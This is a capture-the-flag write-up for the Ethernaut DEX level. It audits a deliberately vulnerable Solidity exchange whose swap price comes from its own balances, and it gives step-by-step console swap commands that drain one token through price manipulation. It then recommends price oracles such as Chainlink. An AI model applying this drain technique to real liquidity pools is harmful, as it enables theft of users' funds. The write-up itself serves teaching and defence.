# DEX

## Description

The goal of this level is for you to hack the basic [DEX](https://en.wikipedia.org/wiki/Decentralized_exchange) contract below and steal the funds by price manipulation.

You will start with 10 tokens of `token1` and 10 of `token2`. The DEX contract starts with 100 of each token.

You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a "bad" price of the assets.

### Quick note

Normally, when you make a swap with an ERC20 token, you have to `approve` the contract to spend your tokens for you. To keep with the syntax of the game, we've just added the `approve` method to the contract itself. So feel free to use `contract.approve(contract.address, <uint amount>)` instead of calling the tokens directly, and it will automatically approve spending the two tokens by the desired amount. Feel free to ignore the `SwappableToken` contract otherwise.

Things that might help:

* How is the price of the token calculated?
* How does the `swap` method work?
* How do you `approve` a transaction of an ERC20?

## Code Audit

This challenge has a helper contract `SwappableToken` that overrides the `approve()` function. The new `approve()` implementation prevents the DEX from approving anyone:

```solidity
contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}
```

The main contract `DEX`:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }
  
  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}
```

The essence of this contract is the `getSwapPrice()` function:

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2F5z9WaLTB1p9lkQE1bYvK%2FDEX%20getSwapPrice().png?alt=media&#x26;token=affa5459-0115-4305-987d-76f7ef0102ec" alt=""><figcaption><p>DEX getSwapPrice()</p></figcaption></figure>

Calculating price in this way is vulnerable to **"price manipulation"** attack. The correct way of doing this is using an external oracle such as Chainlink.

How does this price manipulation work? **In Solidity, integer division rounds down.** For example, `5 / 2` is evaluated to 2 in Solidity, which should be 2.5 in reality. In this DEX contract, if we sell 1 `token1` but `token2 * amount < token1`, `getSwapPrice()` will return 0. That is, we sell a token and get nothing back. In this way, we can drain a token poll.

## Solution

Here is the plan:

* Swap all `token1` for `token2`.
* Swap all `token2` for `token1`.
* Repeat above steps until `token1` or `token2` gets drained.

For each round, the user will hold more tokens than the previous round. Here is a nice table I found in [this writeup](https://dev.to/nvn/ethernaut-hacks-level-22-dex-1e18):

```
      DEX       |      player  
token1 - token2 | token1 - token2
----------------------------------
  100     100   |   10      10
  110     90    |   0       20    
  86      110   |   24      0    
  110     80    |   0       30    
  69      110   |   41      0    
  110     45    |   0       65   
  0       90    |   110     20
```

Detailed computation:

```
formula: amount * to / from

round 1: 10token1 * 100token2 / 100token1 = 10token2
round 2: 20token2 * 110token1 / 90token2  = 24token1 (24.444 rounds down)
round 3: 24token1 * 110token2 / 86token1  = 30token2 (30.698 rounds down)
round 4: 30token2 * 110token1 / 80token2  = 41token1 (41.25 rounds down)
round 5: 41token1 * 110token2 / 69token1  = 65token2 (65.362 rounds down)

Now we can only swap 45token2 since token2 supply is not enough

round 6: 45token2 * 110token1 / 45token1 = 110token1

token1 is drained
```

Here are the steps to pwn this level:

**Step 1:** Set allowance to 500 (any large number suffices):

```javascript
await contract.approve(contract.address, 500)
```

**Step 2:** Get token addresses:

```javascript
t1 = await contract.token1()
t2 = await contract.token2()
```

**Step 3:** Perform back-and-forth swaps:

```javascript
await contract.swap(t1, t2, 10)
await contract.swap(t2, t1, 20)
await contract.swap(t1, t2, 24)
await contract.swap(t2, t1, 30)
await contract.swap(t1, t2, 41)
await contract.swap(t2, t1, 45)
```

**Step 4:** Verify if `token1` is drained:

```javascript
await contract.balanceOf(t1, instance).then(v => v.toString())
```

If this returns 0 then we are all good.

## Summary

The integer math portion aside, getting prices or any sort of data from any single source is a massive attack vector in smart contracts.

You can clearly see from this example, that someone with a lot of capital could manipulate the price in one fell swoop, and cause any applications relying on it to use the the wrong price.

The exchange itself is decentralized, but the price of the asset is centralized, since it comes from 1 dex. This is why we need [oracles](https://betterprogramming.pub/what-is-a-blockchain-oracle-f5ccab8dbd72?source=friends_link\&sk=d921a38466df8a9176ed8dd767d8c77d). Oracles are ways to get data into and out of smart contracts. We should be getting our data from multiple independent decentralized sources, otherwise we can run this risk.

[Chainlink Data Feeds](https://docs.chain.link/docs/get-the-latest-price) are a secure, reliable, way to get decentralized data into your smart contracts. They have a vast library of many different sources, and also offer [secure randomness](https://docs.chain.link/docs/chainlink-vrf), ability to make [any API call](https://docs.chain.link/docs/make-a-http-get-request), [modular oracle network creation](https://docs.chain.link/docs/architecture-decentralized-model), [upkeep, actions, and maintainance](https://docs.chain.link/docs/kovan-keeper-network-beta), and unlimited customization.

[Uniswap TWAP Oracles](https://uniswap.org/docs/v2/core-concepts/oracles/) relies on a time weighted price model called [TWAP](https://en.wikipedia.org/wiki/Time-weighted_average_price). While the design can be attractive, this protocol heavily depends on the liquidity of the DEX protocol, and if this is too low, prices can be easily manipulated.

Here is an example of getting data from a Chainlink data feed (on the kovan testnet):

```solidity
pragma solidity ^0.6.7;

import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";

contract PriceConsumerV3 {

    AggregatorV3Interface internal priceFeed;

    /**
     * Network: Kovan
     * Aggregator: ETH/USD
     * Address: 0x9326BFA02ADD2366b30bacB125260Af641031331
     */
    constructor() public {
        priceFeed = AggregatorV3Interface(0x9326BFA02ADD2366b30bacB125260Af641031331);
    }

    /**
     * Returns the latest price
     */
    function getLatestPrice() public view returns (int) {
        (
            uint80 roundID, 
            int price,
            uint startedAt,
            uint timeStamp,
            uint80 answeredInRound
        ) = priceFeed.latestRoundData();
        return price;
    }
}
```

[Try it on Remix](https://remix.ethereum.org/#version=soljson-v0.6.7+commit.b8d736ae.js\&optimize=false\&evmVersion=null\&gist=0c5928a00094810d2ba01fd8d1083581)

## Further Reading

The vulnerability in this challenge can be fixed by using a **price oracle**. However, price oracles are not perfect. They could introduce other vulnerabilities into the system. **samczsun** has an introductory article regarding price oracles:

{% embed url="<https://samczsun.com/so-you-want-to-use-a-price-oracle/>" %}
So you want to use a price oracle - samczsun
{% endembed %}
